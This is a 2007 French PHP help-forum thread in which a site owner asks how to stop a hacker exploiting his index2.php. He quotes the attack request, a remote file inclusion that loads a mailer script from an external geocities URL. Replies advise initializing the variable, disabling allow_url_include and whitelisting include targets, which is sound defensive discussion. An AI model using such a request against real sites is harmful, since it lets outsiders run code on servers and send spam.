PDA

Voir la version complète : Sécuriser variable php


ben5back
04/01/2007, 17h14
Bonjour à tous,

Je me suis fait hacker récemment, ce qui a entrainé un blocage de mon compte mail vu qu'il y avait eu des plaintes... (mails envoyé par le hacker)

Le hacker essaye d'executer une page, via ma page index2.php à partir de la variable zone, pour régler le probléme, il faut qu'il ne puisse plus le faire, mais comment ???

voici ce que le hacker a executé :
GET /index2.php?zone=http://www.geocities.com/fredricklawson_1290/mailer.txt

Merci d'avance pour votre aide

FederA
29/05/2007, 14h53
Ahah !! Une faille des plus connues !!!

Contacte moi via MSN : federa_@hotmail.com,
Faut que je vois ton script !!!
En faite tu dois faire un truc du genre

include ($zone);

Mais cette variable ne doit pas être défini au préalable.

La solution serait de l'initialiser pour commencer :
$zone = "";
Et ce, au tout début de ton script.

Narayane
30/05/2007, 08h48
Si tu as la main sur ton php.ini, et si ta version de php te le permet, il serait interressant pour toi de désactiver la possibilité d'utiliser des URL dans les include() et require(), grâce à la directive allow_url_include.
(Plus d'infos sur php.net (http://fr3.php.net/manual/en/ref.filesystem.php#ini.allow-url-include))

Sinon il est fortement déconseillé d'utiliser des données provenant de l'utilisateur (ou pouvant être modifiées par ses soins -> $_POST, $_GET, etc...) pour définir un include.
Si tu veux vraiment utiliser un paramètre, tu peux définir un tableau de correspondance paramètre->fichier à inclure, et passer ton paramètre via l'URL, plutôt que le fichier.
Si ton tableau ne ramène pas de correspondance c'est qu'il y a un problème.

Potentiellement il faut toujours considérer qu'il y aura des petits malins pour essayer de tout casser, et donc tâcher au maximum de verrouiller les choses ;)